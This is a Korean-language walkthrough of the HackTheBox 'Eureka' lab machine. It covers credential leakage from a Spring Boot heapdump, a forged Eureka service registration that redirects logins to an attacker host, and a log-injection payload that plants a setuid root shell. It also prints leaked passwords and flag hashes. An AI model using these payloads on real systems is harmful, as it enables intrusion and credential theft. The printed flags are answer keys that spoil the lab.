HTB Eureka 타겟 머신 공격 분석

초기 진입: 포트 스캔 및 서비스 식별

타겟 시스템의 접근을 시작하기 위해 nmap을 사용하여 열린 포트를 스캔했습니다.

nmap -sV -sC 10.10.11.66

결과로 22번 포트(SSH)와 80번 포트(HTTP)가 열려 있는 것으로 확인되었습니다. 웹 서버는 nginx 1.18.0이며, 리다이렉션된 주소인 furni.htb로 접속할 수 있었습니다.

웹 경로 탐색 및 정보 유출

dirsearch를 이용해 디렉터리 구조를 스캔한 결과, /actuator/heapdump 엔드포인트가 노출되어 있음을 발견했습니다. 이는 스프링 부트 애플리케이션에서 내부 상태 정보를 다운로드할 수 있는 보안 취약점입니다.

Heapdump 분석 및 인증 정보 획득

다운로드한 heapdump 파일을 JDumpSpider 도구로 분석하면, 사용자 계정 정보가 포함되어 있음을 확인할 수 있습니다:

  • 사용자: oscar190
  • 비밀번호: 0sc@r190_S0l!dP@sswd

이 계정으로 ssh에 접속하면 성공적으로 로그인 가능하며, 추가적인 사용자 계정 miranda-wise도 존재하는 것을 확인했습니다.

Eureka 서버 접근 및 포트 전달

시스템 내부에서 8761 포트가 열려 있음을 발견했으며, 이는 스프링 클라우드의 Eureka 서비스 등록자임을 시사합니다. heapdump 파일에서 해당 서비스의 자격 증명을 찾았습니다:

  • 사용자: EurekaSrvr
  • 비밀번호: 0scarPWDisTheB3st

이 정보를 사용해 직접 접속하거나, ssh를 통해 포트 포워딩을 수행할 수 있습니다:

ssh oscar190@10.10.11.66 -L 8761:127.0.0.1:8761

악성 서비스 등록 및 세션 확보

Netflix Eureka의 서비스 등록 메커니즘을 활용하여, 자신만의 서비스를 위조 등록합니다. 아래 요청을 통해 USER-MANAGEMENT-SERVICE를 등록하고, 공격자가 제어할 수 있는 포트 8081을 오픈합니다:

curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/apps/USER-MANAGEMENT-SERVICE \
  -H 'Content-Type: application/json' \
  -d '{
    "instance": {
      "instanceId": "USER-MANAGEMENT-SERVICE",
      "hostName": "10.10.14.2",
      "app": "USER-MANAGEMENT-SERVICE",
      "ipAddr": "10.10.14.2",
      "vipAddress": "USER-MANAGEMENT-SERVICE",
      "secureVipAddress": "USER-MANAGEMENT-SERVICE",
      "status": "UP",
      "port": {
        "$": 8081,
        "@enabled": "true"
      },
      "dataCenterInfo": {
        "@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
        "name": "MyOwn"
      }
    }
  }'

등록 후, nc -nlvp 8081로 포트를 감시하면, miranda-wise 계정의 로그인 정보가 전달되는 것을 확인할 수 있습니다:

  • 사용자: miranda-wise
  • 비밀번호: IL!veT0Be&BeT0L0ve

이 계정으로 ssh에 접속하면 첫 번째 플래그를 획득합니다:

7cb8f5607375cc041a230b5e13960519

권한 상승: 로그 분석 스크립트의 취약점 활용

sudo -l 명령으로 권한 상승 여부를 확인했지만, 특별한 권한은 없었습니다. 계획 작업이나 커널 버전도 공격에 적합하지 않았습니다. 그러나 환경 변수나 기타 정보는 유출되지 않았습니다.

이때 pspy를 업로드하여 지속적으로 실행되는 프로세스를 모니터링했습니다. 결과적으로 /opt/log_analyse.sh 스크립트가 root 권한으로 정기적으로 실행됨을 확인했습니다.

스크립트는 다음과 같은 구조로 작동합니다:

/bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log

이 스크립트는 로그 파일을 분석하여 성공/실패 로그, HTTP 상태 코드, 오류 메시지를 요약합니다. 특히, analyze_http_statuses() 함수 내에서 [[ "$existing_code" -eq "$code" ]] 형식의 조건문이 사용되며, 이는 $code 값이 쉘 삽입 구문을 포함할 경우 명령이 먼저 실행됩니다.

Shell 인젝션을 통한 권한 상승

공격자는 application.log 파일을 수정하여, 특정 오류 메시지에 악성 명령을 삽입했습니다:

rm application.log
echo 'HTTP Status: x[$(cp /bin/bash /tmp/bash; chmod u+s /tmp/bash)]' >> application.log

이 로그가 스크립트에 의해 처리될 때, $(...) 안의 명령이 실행되어 /tmp/bashsetuid 속성이 부여됩니다. 이후 /tmp/bash를 실행하면 루트 권한을 가진 쉘을 얻을 수 있습니다.

최종적으로 두 번째 플래그를 획득합니다:

663ab1925ca8b6fd8425725524a2f919

태그: Spring Boot Eureka heapdump analysis SSH exploitation Privilege Escalation

7월 7일 01:58에 게시됨